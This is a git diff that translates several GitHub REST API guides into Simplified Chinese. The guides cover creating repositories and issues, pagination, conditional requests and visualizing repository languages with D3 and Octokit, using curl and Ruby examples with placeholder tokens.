+我们需要 `POST` 一些包含详细信息和配置选项的JSON。
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
@@ -284,14 +251,11 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghe
     {% data variables.product.api_url_pre %}/user/repos
 ```
 
-In this minimal example, we create a new private repository for our blog (to be served
-on [GitHub Pages][pages], perhaps). Though the blog {% ifversion not ghae %}will be public{% else %}is accessible to all enterprise members{% endif %}, we've made the repository private. In this single step, we'll also initialize it with a README and a [nanoc][nanoc]-flavored [.gitignore template][gitignore templates].
+在这个最小的示例中，我们为博客（也许要在 [GitHub Pages][pages] 上提供）创建了一个新的私有仓库。 虽然博客 {% ifversion not ghae %}将是公开的{% else %}可供所有企业成员访问{% endif %}，但我们已经将仓库设置为私有。 在这一步中，我们还将使用自述文件和 [nanoc][nanoc] 风格的 [.gitignore 模板][gitignore templates]对其进行初始化。
 
-The resulting repository will be found at `https://github.com/<your_username>/blog`.
-To create a repository under an organization for which you're
-an owner, just change the API method from `/user/repos` to `/orgs/<org_name>/repos`.
+生成的仓库可在 `https://github.com/<your_username>/blog` 上找到。 要在您拥有的组织下创建仓库，只需将 API 方法从 `/user/repos` 更改为 `/orgs/<org_name>/repos`。
 
-Next, let's fetch our newly created repository:
+接下来，我们将获取新创建的仓库：
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog
@@ -303,46 +267,36 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog
 > }
 ```
 
-Oh noes! Where did it go? Since we created the repository as _private_, we need
-to authenticate in order to see it. If you're a grizzled HTTP user, you might
-expect a `403` instead. Since we don't want to leak information about private
-repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can
-neither confirm nor deny the existence of this repository."
+哦，不！ 它去哪儿了？ 因为我们创建仓库为 _私有_，所以需要经过身份验证才能看到它。 如果您是一位资深的 HTTP 用户，您可能会预期返回 `403`。 由于我们不想泄露有关私有仓库的信息，因此在本例中，{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 返回 `404`，就好像说“我们既不能确认也不能否认这个仓库的存在”。
 
-## Issues
+## 议题
 
-The UI for Issues on {% data variables.product.product_name %} aims to provide 'just enough' workflow while
-staying out of your way. With the {% data variables.product.product_name %} [Issues API][issues-api], you can pull
-data out or create issues from other tools to create a workflow that works for
-your team.
+{% data variables.product.product_name %} 上的议题 UI 旨在提供“恰到好处”的工作流程，不会妨碍您的其他工作。 通过 {% data variables.product.product_name %} [议题 API][issues-api]，您可以利用其他工具来提取数据或创建议题，以打造适合您的团队的工作流程。
 
-Just like github.com, the API provides a few methods to view issues for the
-authenticated user. To [see all your issues][get issues api], call `GET /issues`:
+与 github.com 一样，API 为经过身份验证的用户提供了一些查看议题的方法。 要 [查看您的所有议题][get issues api]，请调用 `GET /issues`：
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
     {% data variables.product.api_url_pre %}/issues
 ```
 
-To get only the [issues under one of your {% data variables.product.product_name %} organizations][get issues api], call `GET
-/orgs/<org>/issues`:
+要仅获取[您的某个 {% data variables.product.product_name %} 组织下的议题][get issues api]，请调用 `GET
+/orgs/<org>/issues`：
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
     {% data variables.product.api_url_pre %}/orgs/rails/issues
 ```
 
-We can also get [all the issues under a single repository][repo issues api]:
+我们还可以获取[单个仓库下的所有议题][repo issues api]：
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
 ```
 
-### Pagination
+### 分页
 
-A project the size of Rails has thousands of issues. We'll need to [paginate][pagination],
-making multiple API calls to get the data. Let's repeat that last call, this
-time taking note of the response headers:
+一个 Rails 规模的项目有数千个议题。 我们需要[分页][pagination]，进行多次 API 调用来获取数据。 我们来重复上次调用，这次请注意响应标头：
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
@@ -354,20 +308,13 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
 > ...
 ```
 
-The [`Link` header][link-header] provides a way for a response to link to
-external resources, in this case additional pages of data. Since our call found
-more than thirty issues (the default page size), the API tells us where we can
-find the next page and the last page of results.
+[`Link` 标头][link-header]提供了一种链接到外部资源（在本例中为额外的数据页面）的方法。 由于我们的调用发现的议题超过 30 个（默认页面大小），因此 API 将告诉我们在哪里可以找到结果的下一页和最后一页。
 
-### Creating an issue
+### 创建议题
 
-Now that we've seen how to paginate lists of issues, let's [create an issue][create issue] from
-the API.
+我们已经了解如何分页议题列表，现在我们来使用 API [创建议题][create issue]。
 
-To create an issue, we need to be authenticated, so we'll pass an
-OAuth token in the header. Also, we'll pass the title, body, and labels in the JSON
-body to the `/issues` path underneath the repository in which we want to create
-the issue:
+要创建议题，我们需要进行身份验证，因此我们将在标头中传递 OAuth 令牌。 此外，我们还将 JSON 正文中的标题、正文和标签传递到要在其中创建议题的仓库下的 `/issues` 路径：
 
 ```shell
 $ curl -i -H 'Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}' \
@@ -419,14 +366,11 @@ $    {% data variables.product.api_url_pre %}/repos/pengwynn/api-sandbox/issues
 > }
 ```
 
-The response gives us a couple of pointers to the newly created issue, both in
-the `Location` response header and the `url` field of the JSON response.
+JSON 响应的 `Location` 响应标头和 `url` 字段为我们提供了一些新建议题的指示。
 
-## Conditional requests
+## 条件请求
 
-A big part of being a good API citizen is respecting rate limits by caching information that hasn't changed. The API supports [conditional
-requests][conditional-requests] and helps you do the right thing. Consider the
-first call we made to get defunkt's profile:
+通过缓存未更改的信息来遵守速率限制，是成为一个良好 API 公民的重要特质。 API 支持[条件请求][conditional-requests]并帮助您正确行事。 请注意我们为获取 defunkt 的个人资料而进行的第一个调用：
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/users/defunkt
@@ -435,10 +379,7 @@ $ curl -i {% data variables.product.api_url_pre %}/users/defunkt
 > etag: W/"61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"
 ```
 
-In addition to the JSON body, take note of the HTTP status code of `200` and
-the `ETag` header.
-The [ETag][etag] is a fingerprint of the response. If we pass that on subsequent calls,
-we can tell the API to give us the resource again, only if it has changed:
+除了 JSON 正文之外，还要注意 HTTP 状态代码 `200` 和 `Etag` 标头。 [ETag][etag] 是响应的指纹。 如果我们在后续调用中传递它，则可以告诉 API 仅在资源发生改变的情况才将其再次提供给我们。
 
 ```shell
 $ curl -i -H 'If-None-Match: "61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"' \
@@ -447,25 +388,24 @@ $    {% data variables.product.api_url_pre %}/users/defunkt
 > HTTP/2 304
 ```
 
-The `304` status indicates that the resource hasn't changed since the last time
-we asked for it and the response will contain no body. As a bonus, `304` responses don't count against your [rate limit][rate-limiting].
+`304` 状态表示该资源自上次请求以来没有发生改变，该响应将不包含任何正文。 另外，`304` 响应不计入您的[速率限制][rate-limiting]。
 
-Woot! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API!
+耶！ 现在您了解 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 的基础知识了！
 
-* Basic & OAuth authentication
-* Fetching and creating repositories and issues
-* Conditional requests
+* 基本 & OAuth 身份验证
+* 获取和创建仓库及议题
+* 条件请求
 
-Keep learning with the next API guide [Basics of Authentication][auth guide]!
+继续学习下一个 API 指南 - [身份验证基础知识][auth guide]！
 
 [wrappers]: /libraries/
 [curl]: http://curl.haxx.se/
 [media types]: /rest/overview/media-types
 [oauth]: /apps/building-integrations/setting-up-and-registering-oauth-apps/
 [webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/
-[create a new authorization API]: /rest/reference/oauth-authorizations#create-a-new-authorization
 [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
 [repos-api]: /rest/reference/repos
+[repos-api]: /rest/reference/repos
 [pages]: http://pages.github.com
 [nanoc]: http://nanoc.ws/
 [gitignore templates]: https://github.com/github/gitignore
@@ -473,14 +413,13 @@ Keep learning with the next API guide [Basics of Authentication][auth guide]!
 [link-header]: https://www.w3.org/wiki/LinkHeader
 [conditional-requests]: /rest#conditional-requests
 [rate-limiting]: /rest#rate-limiting
+[rate-limiting]: /rest#rate-limiting
 [users api]: /rest/reference/users#get-a-user
-[auth user api]: /rest/reference/users#get-the-authenticated-user
+[defunkt github]: https://github.com/defunkt
 [defunkt github]: https://github.com/defunkt
 [json]: http://en.wikipedia.org/wiki/JSON
 [authentication]: /rest#authentication
-[2fa]: /articles/about-two-factor-authentication
-[2fa header]: /rest/overview/other-authentication-methods#working-with-two-factor-authentication
-[oauth section]: /rest/guides/getting-started-with-the-rest-api#oauth
+[personal token]: /articles/creating-an-access-token-for-command-line-use
 [personal token]: /articles/creating-an-access-token-for-command-line-use
 [tokens settings]: https://github.com/settings/tokens
 [pagination]: /rest#pagination
@@ -492,6 +431,6 @@ Keep learning with the next API guide [Basics of Authentication][auth guide]!
 [other user repos api]: /rest/reference/repos#list-repositories-for-a-user
 [org repos api]: /rest/reference/repos#list-organization-repositories
 [get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user
+[get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user
 [repo issues api]: /rest/reference/issues#list-repository-issues
 [etag]: http://en.wikipedia.org/wiki/HTTP_ETag
-[2fa section]: /rest/guides/getting-started-with-the-rest-api#two-factor-authentication
diff --git a/translations/zh-CN/content/rest/guides/index.md b/translations/zh-CN/content/rest/guides/index.md
index 072e826783..21b80f4aa6 100644
--- a/translations/zh-CN/content/rest/guides/index.md
+++ b/translations/zh-CN/content/rest/guides/index.md
@@ -1,6 +1,6 @@
 ---
-title: Guides
-intro: 'Learn about getting started with the REST API, authentication, and how to use the REST API for a variety of tasks.'
+title: 指南
+intro: 了解如何开始使用 REST API、身份验证以及如何使用 REST API 完成各种任务。
 redirect_from:
   - /guides
   - /v3/guides
@@ -24,10 +24,5 @@ children:
   - /getting-started-with-the-git-database-api
   - /getting-started-with-the-checks-api
 ---
-This section of the documentation is intended to get you up-and-running with
-real-world {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API applications. We'll cover everything you need to know, from
-authentication, to manipulating results, to combining results with other apps.
-Every tutorial here will have a project, and every project will be
-stored and documented in our public
-[platform-samples](https://github.com/github/platform-samples) repository.
-![The Electrocat](/assets/images/electrocat.png)
+
+文档的这一部分旨在让您使用实际 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 应用程序开始运行。 我们将涵盖您需要知道的一切，从身份验证到操作结果，再到将结果与其他应用程序相结合。 这里的每个教程都包含一个项目，并且每个项目都将存储在我们的公共[平台样本](https://github.com/github/platform-samples)仓库中并形成文档。 ![Electrocat](/assets/images/electrocat.png)
diff --git a/translations/zh-CN/content/rest/guides/rendering-data-as-graphs.md b/translations/zh-CN/content/rest/guides/rendering-data-as-graphs.md
index a46becae06..ecdcffb977 100644
--- a/translations/zh-CN/content/rest/guides/rendering-data-as-graphs.md
+++ b/translations/zh-CN/content/rest/guides/rendering-data-as-graphs.md
@@ -1,6 +1,6 @@
 ---
-title: Rendering data as graphs
-intro: Learn how to visualize the programming languages from your repository using the D3.js library and Ruby Octokit.
+title: 将数据渲染为图形
+intro: 了解如何使用 D3.js 库和 Ruby Octokit 可视化仓库中的编程语言。
 redirect_from:
   - /guides/rendering-data-as-graphs
   - /v3/guides/rendering-data-as-graphs
@@ -15,21 +15,15 @@ topics:
  
 
 
-In this guide, we're going to use the API to fetch information about repositories
-that we own, and the programming languages that make them up. Then, we'll
-visualize that information in a couple of different ways using the [D3.js][D3.js] library. To
-interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using the excellent Ruby library, [Octokit][Octokit].
+在本指南中，我们将使用 API 来获取有关我们拥有的仓库以及构成这些仓库的编程语言的信息。 然后，我们将使用 [D3.js][D3.js] 库来以几种不同的方式可视化这些信息。 要与 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 交互，我们将使用卓越的 Ruby 库 [Octokit.rb][Octokit]。
 
-If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication]
-guide before starting this example. You can find the complete source code for this project in the [platform-samples][platform samples] repository.
+在开始本示例之前，您应该阅读[“身份验证基础知识”][basics-of-authentication]指南（如果尚未阅读）。 您可以在[平台样本][platform samples]仓库中找到此项目的完整源代码。
 
-Let's jump right in!
+我们马上开始！
 
-## Setting up an OAuth application
+## 设置 OAuth 应用程序
 
-First, [register a new application][new oauth application] on {% data variables.product.product_name %}. Set the main and callback
-URLs to `http://localhost:4567/`. As [before][basics-of-authentication], we're going to handle authentication for the API by
-implementing a Rack middleware using [sinatra-auth-github][sinatra auth github]:
+首先，请在 {% data variables.product.product_name %} 上[注册一个新应用程序][new oauth application]。 将主 URL 和回调 URL 设置为 `http://localhost:4567/`。 与[之前][basics-of-authentication]一样，我们将使用 [sinatra-auth-github][sinatra auth github] 实现 Rack 中间件，以处理 API 的身份验证：
 
 ``` ruby
 require 'sinatra/auth/github'
@@ -68,7 +62,7 @@ module Example
 end
 ```
 
-Set up a similar _config.ru_ file as in the previous example:
+设置与上一个示例类似的 _config.ru_ 文件：
 
 ``` ruby
 ENV['RACK_ENV'] ||= 'development'
@@ -80,15 +74,11 @@ require File.expand_path(File.join(File.dirname(__FILE__), 'server'))
 run Example::MyGraphApp
 ```
 
-## Fetching repository information
+## 获取仓库信息
 
-This time, in order to talk to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we're going to use the [Octokit
-Ruby library][Octokit]. This is much easier than directly making a bunch of
-REST calls. Plus, Octokit was developed by a GitHubber, and is actively maintained,
-so you know it'll work.
+这次，为了与 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 进行对话，我们将使用 [Octokit Ruby 库][Octokit]。 这比直接进行一大堆 REST 调用要容易得多。 另外，Octokit 是由 GitHubber 开发的，并且一直在积极维护，因此可以确保有效性。
 
-Authentication with the API via Octokit is easy. Just pass your login
-and token to the `Octokit::Client` constructor:
+通过 Octokit 进行 API 身份验证非常简单。 只需将您的登录名和令牌传递到 `Octokit::Client` 构造函数：
 
 ``` ruby
 if !authenticated?
@@ -98,17 +88,13 @@ else
 end
 ```
 
-Let's do something interesting with the data about our repositories. We're going
-to see the different programming languages they use, and count which ones are used
-most often. To do that, we'll first need a list of our repositories from the API.
-With Octokit, that looks like this:
+我们来用仓库的数据做一些有趣的事情。 我们将看到它们使用的不同编程语言，并计算出哪些是最常用的。 为此，我们首先需要从 API 获取仓库列表。 使用 Octokit 时，其代码如下所述：
 
 ``` ruby
 repos = client.repositories
 ```
 
-Next, we'll iterate over each repository, and count the language that {% data variables.product.product_name %}
-associates with it:
+接下来，我们将遍历每个仓库，并计算 {% data variables.product.product_name %} 与之关联的语言：
 
 ``` ruby
 language_obj = {}
@@ -126,25 +112,19 @@ end
 languages.to_s
 ```
 
-When you restart your server, your web page should display something
-that looks like this:
+当您重新启动服务器时，您的 web 页面应显示如下代码：
 
 ``` ruby
 {"JavaScript"=>13, "PHP"=>1, "Perl"=>1, "CoffeeScript"=>2, "Python"=>1, "Java"=>3, "Ruby"=>3, "Go"=>1, "C++"=>1}
 ```
 
-So far, so good, but not very human-friendly. A visualization
-would be great in helping us understand how these language counts are distributed. Let's feed
-our counts into D3 to get a neat bar graph representing the popularity of the languages we use.
+到目前为止，进展不错，但结果不是很人性化。 可视化将非常有助于我们理解这些语言计数是如何分布的。 我们来将这些计数输入到 D3 中，得到一个表示语言使用频率的简洁条形图。
 
-## Visualizing language counts
+## 可视化语言计数
 
-D3.js, or just D3, is a comprehensive library for creating many kinds of charts, graphs, and interactive visualizations.
-Using D3 in detail is beyond the scope of this guide, but for a good introductory article,
-check out ["D3 for Mortals"][D3 mortals].
+D3.js（或仅 D3）是用于创建多种图表、图形和交互式可视化内容的综合库。 详细介绍 D3 的用法超出了本指南的范围，但我们推荐您阅读一篇不错的介绍性文章[“D3 for Mortals（面向大众的 D3)”][D3 mortals]。
 
-D3 is a JavaScript library, and likes working with data as arrays. So, let's convert our Ruby hash into
-a JSON array for use by JavaScript in the browser.
+D3 是一个JavaScript 库，喜欢以数组的形式处理数据。 因此，让我们将 Ruby 哈希转换为 JSON 数组，以供浏览器中的 JavaScript 使用。
 
 ``` ruby
 languages = []
@@ -155,13 +135,9 @@ end
 erb :lang_freq, :locals => { :languages => languages.to_json}
 ```
 
-We're simply iterating over each key-value pair in our object and pushing them into
-a new array. The reason we didn't do this earlier is because we didn't want to iterate
-over our `language_obj` object while we were creating it.
+我们只需遍历对象中的每个键值对，然后将它们推入新的数组。 我们之前没有这样做是因为我们不想在创建 `language_obj` 对象的过程中遍历它。
 
-Now, _lang_freq.erb_ is going to need some JavaScript to support rendering a bar graph.
-For now, you can just use the code provided here, and refer to the resources linked above
-if you want to learn more about how D3 works:
+现在，_lang_freq.erb_ 将需要一些 JavaScript 来支持渲染条形图。 以后，您只需使用此处提供的代码，如果您想详细了解 D3 的工作原理，您可以参考上面链接的资源：
 
 ``` html
 <!DOCTYPE html>
@@ -242,26 +218,15 @@ if you want to learn more about how D3 works:
 </html>
 ```
 
-Phew! Again, don't worry about what most of this code is doing. The relevant part
-here is a line way at the top--`var data = <%= languages %>;`--which indicates
-that we're passing our previously created `languages` array into ERB for manipulation.
+唷！ 同样，不必担心这段代码的主要功能。 这里值得注意的是顶行--`var data = <%= languages %>;`--它表示我们正在将先前创建的 `languages` 数组传递到 ERB 中进行处理。
 
-As the "D3 for Mortals" guide suggests, this isn't necessarily the best use of
-D3. But it does serve to illustrate how you can use the library, along with Octokit,
-to make some really amazing things.
+如“D3 for Mortals（面向大众的 D3）”所述，这未必是 D3 的最佳用法。 但它确实表明了您能够如何配合使用该库与 Octokit，做出一些真正令人惊叹的事情。
 
-## Combining different API calls
+## 结合不同的 API 调用
 
-Now it's time for a confession: the `language` attribute within repositories
-only identifies the "primary" language defined. That means that if you have
-a repository that combines several languages, the one with the most bytes of code
-is considered to be the primary language.
+现在是时候坦白了：仓库中的 `language` 属性仅标识定义的“主要”语言。 这意味着，如果您的仓库结合了多种语言，则代码字节最多的语言将被视为主要语言。
 
-Let's combine a few API calls to get a _true_ representation of which language
-has the greatest number of bytes written across all our code. A [treemap][D3 treemap]
-should be a great way to visualize the sizes of our coding languages used, rather
-than simply the count. We'll need to construct an array of objects that looks
-something like this:
+让我们结合几个 API 调用来_真正_呈现哪种语言在我们所有代码中写入的字节数最多。 相比简单的计数，[树形图][D3 treemap]应该是可视化编码语言使用量的好方法。 我们需要构造一个如下所示的对象数组：
 
 ``` json
 [ { "name": "language1", "size": 100},
@@ -270,8 +235,7 @@ something like this:
 ]
 ```
 
-Since we already have a list of repositories above, let's inspect each one, and
-call [the language listing API method][language API]:
+我们在前面已经获取了仓库列表，现在我们来检查每个仓库，然后调用[语言列表 API 方法][language API]：
 
 ``` ruby
 repos.each do |repo|
@@ -280,7 +244,7 @@ repos.each do |repo|
 end
 ```
 
-From there, we'll cumulatively add each language found to a list of languages:
+我们将从中找到的每种语言累加到“主列表”中：
 
 ``` ruby
 repo_langs.each do |lang, count|
@@ -292,7 +256,7 @@ repo_langs.each do |lang, count|
 end
 ```
 
-After that, we'll format the contents into a structure that D3 understands:
+之后，我们将内容格式化为 D3 可以理解的结构：
 
 ``` ruby
 language_obj.each do |lang, count|
@@ -303,16 +267,15 @@ end
 language_bytes = [ :name => "language_bytes", :elements => language_byte_count]
 ```
 
-(For more information on D3 tree map magic, check out [this simple tutorial][language API].)
+（有关 D3 树图魔方的更多信息，请查看[这个简单教程][language API]。）
 
-To wrap up, we pass this JSON information over to the same ERB template:
+最后，我们将这些 JSON 信息传递到同一个 ERB 模板：
 
 ``` ruby
 erb :lang_freq, :locals => { :languages => languages.to_json, :language_byte_count => language_bytes.to_json}
 ```
 
-Like before, here's a bunch of JavaScript that you can drop
-directly into your template:
+与以前一样，这里有一堆 JavaScript，您可以直接将它们放到模板中：
 
 ``` html
 <div id="byte_freq"></div>
@@ -362,19 +325,18 @@ directly into your template:
 </script>
 ```
 
-Et voila! Beautiful rectangles containing your repo languages, with relative
-proportions that are easy to see at a glance. You might need to
-tweak the height and width of your treemap, passed as the first two
-arguments to `drawTreemap` above, to get all the information to show up properly.
+瞧！ 包含仓库语言信息的精美矩形，按相对比例显示，让您一目了然。 您可能需要调整树形图的高度和宽度（作为前两个参数传递到上述 `drawTreemap`），使所有信息适当显示。
 
 
 [D3.js]: http://d3js.org/
 [basics-of-authentication]: /rest/guides/basics-of-authentication
+[basics-of-authentication]: /rest/guides/basics-of-authentication
 [sinatra auth github]: https://github.com/atmos/sinatra_auth_github
 [Octokit]: https://github.com/octokit/octokit.rb
+[Octokit]: https://github.com/octokit/octokit.rb
 [D3 mortals]: http://www.recursion.org/d3-for-mere-mortals/
-[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html 
+[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html
+[language API]: /rest/reference/repos#list-repository-languages
 [language API]: /rest/reference/repos#list-repository-languages
-[simple tree map]: http://2kittymafiasoftware.blogspot.com/2011/09/simple-treemap-visualization-with-d3.html
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/rendering-data-as-graphs
 [new oauth application]: https://github.com/settings/applications/new
diff --git a/translations/zh-CN/content/rest/guides/traversing-with-pagination.md b/translations/zh-CN/content/rest/guides/traversing-with-pagination.md
index 4b13c46e3d..c163e9125b 100644
--- a/translations/zh-CN/content/rest/guides/traversing-with-pagination.md
+++ b/translations/zh-CN/content/rest/guides/traversing-with-pagination.md
@@ -1,6 +1,6 @@
 ---
-title: Traversing with pagination
-intro: Explore how to use pagination to manage your responses with some examples using the Search API.
+title: 使用分页遍历
+intro: 通过一些使用搜索 API 的示例，探讨如何使用分页来管理响应。
 redirect_from:
   - /guides/traversing-with-pagination
   - /v3/guides/traversing-with-pagination
@@ -11,105 +11,75 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Traverse with pagination
+shortTitle: 使用分页遍历
 ---
 
-The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API provides a vast wealth of information for developers to consume.
-Most of the time, you might even find that you're asking for _too much_ information,
-and in order to keep our servers happy, the API will automatically [paginate the requested items](/rest/overview/resources-in-the-rest-api#pagination).
+{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 为开发人员提供了丰富的信息供他们使用。 在很多时候，您甚至会发现自己请求的信息_太多_，为了满足我们的服务器，API 会自动[对请求的项目进行分页](/rest/overview/resources-in-the-rest-api#pagination)。
 
-In this guide, we'll make some calls to the Search API, and iterate over
-the results using pagination. You can find the complete source code for this project
-in the [platform-samples][platform samples] repository.
+在本指南中，我们将对 搜索 API 进行一些调用，并使用分页遍历结果。 您可以在[平台样本][platform samples]仓库中找到此项目的完整源代码。
 
 {% data reusables.rest-api.dotcom-only-guide-note %}
 
-## Basics of Pagination
+## 分页基础知识
 
-To start with, it's important to know a few facts about receiving paginated items:
+首先需要了解有关接收分页条目的一些事实：
 
-1. Different API calls respond with different defaults. For example, a call to
-[List public repositories](/rest/reference/repos#list-public-repositories)
-provides paginated items in sets of 30, whereas a call to the GitHub Search API
-provides items in sets of 100
-2. You can specify how many items to receive (up to a maximum of 100); but,
-3. For technical reasons, not every endpoint behaves the same. For example,
-[events](/rest/reference/activity#events) won't let you set a maximum for items to receive.
-Be sure to read the documentation on how to handle paginated results for specific endpoints.
+1. 不同的 API 调用响应具有不同的默认值。 例如，调用[列出公共仓库](/rest/reference/repos#list-public-repositories)将提供以 30 项为单位的分页结果，而调用 GitHub 搜索 API 将提供以 100 项为单位的分页结果
+2. 您可以指定要接收的条目数（最多 100 个）；但是，
+3. 出于技术原因，并非每个端点的行为都相同。 例如，[事件](/rest/reference/activity#events)不允许设置要接收的最大条目数量。 请务必阅读关于如何处理特定端点分页结果的文档。
 
-Information about pagination is provided in [the Link header](https://datatracker.ietf.org/doc/html/rfc5988)
-of an API call. For example, let's make a curl request to the search API, to find
-out how many times Mozilla projects use the phrase `addClass`:
+有关分页的信息包含在 API 调用的 [Link 标头](https://datatracker.ietf.org/doc/html/rfc5988)中。 例如，我们向搜索 API 发出一个 curl 请求，以查明 Mozilla 项目使用短语 `addClass` 的次数：
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla"
 ```
 
-The `-I` parameter indicates that we only care about the headers, not the actual
-content. In examining the result, you'll notice some information in the Link header
-that looks like this:
+`-I` 参数表示我们只关注标头，而不关注实际内容。 在检查结果时，您会注意到 Link 标头中的一些信息，如下所示：
 
-    Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=2>; rel="next",
+    链接：<https://api.github.com/search/code?q=addClass+user%3Amozilla&page=2>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=34>; rel="last"
 
-Let's break that down. `rel="next"` says that the next page is `page=2`. This makes
-sense, since by default, all paginated queries start at page `1.` `rel="last"`
-provides some more information, stating that the last page of results is on page `34`.
-Thus, we have 33 more pages of information about `addClass` that we can consume.
-Nice!
+我们来分解说明。 `rel="next"` 表示下一页是 `page=2`。 这是合理的，因为在默认情况下，所有分页查询都是从第 `1` 页开始。`rel="last"` 提供了更多信息，指示结果的最后一页是第 `34` 页。 因此，我们还有 33 页有关 `addClass` 的信息可用。 不错！
 
-**Always** rely on these link relations provided to you. Don't try to guess or construct your own URL.
+**始终**信赖提供给您的这些链接关系。 不要试图猜测或构建自己的 URL。
 
-### Navigating through the pages
+### 浏览页面
 
-Now that you know how many pages there are to receive, you can start navigating
-through the pages to consume the results. You do this by passing in a `page`
-parameter. By default, `page` always starts at `1`. Let's jump ahead to page 14
-and see what happens:
+现在您知道要接收多少页面，可以开始浏览页面以使用结果。 您可以通过传递 `page` 参数进行浏览。 默认情况下，`page` 总是从 `1` 开始。 让我们跳到第 14 页，看看会发生什么：
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&page=14"
 ```
 
-Here's the link header once more:
+以下是再次出现的 Link 标头：
 
-    Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=15>; rel="next",
+    链接：<https://api.github.com/search/code?q=addClass+user%3Amozilla&page=15>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=34>; rel="last",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=1>; rel="first",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=13>; rel="prev"
 
-As expected, `rel="next"` is at 15, and `rel="last"` is still 34. But now we've
-got some more information: `rel="first"` indicates the URL for the _first_ page,
-and more importantly, `rel="prev"` lets you know the page number of the previous
-page. Using this information, you could construct some UI that lets users jump
-between the first, previous, next, or last list of results in an API call.
+果然，`rel="next"` 是 15，而 `rel="last"` 仍是 34。 但是现在我们得到了更多信息：`rel="first"` 表示_第一_页的 URL，更重要的是，`rel="prev"` 让您知道了上一页的页码。 根据这些信息，您可以构造一些 UI，使用户可以在 API 调用结果列表的第一页、上一页、下一页或最后一页之间跳转。
 
-### Changing the number of items received
+### 更改接收的条目数量
 
-By passing the `per_page` parameter, you can specify how many items you want
-each page to return, up to 100 items. Let's try asking for 50 items about `addClass`:
+通过传递 `per_page` 参数，您可以指定希望每页返回多少个条目，最多 100 个。 我们来尝试请求 50 个关于 `addClass` 的条目：
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&per_page=50"
 ```
 
-Notice what it does to the header response:
+请注意它对标头响应的影响：
 
-    Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=2>; rel="next",
+    链接：<https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=2>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=20>; rel="last"
 
-As you might have guessed, the `rel="last"` information says that the last page
-is now 20. This is because we are asking for more information per page about
-our results.
+您可能已经猜到了，`rel="last"` 信息表明最后一页现在是第 20 页。 这是因为我们要求每页提供更多的结果相关信息。
 
-## Consuming the information
+## 使用信息
 
-You don't want to be making low-level curl calls just to be able to work with
-pagination, so let's write a little Ruby script that does everything we've
-just described above.
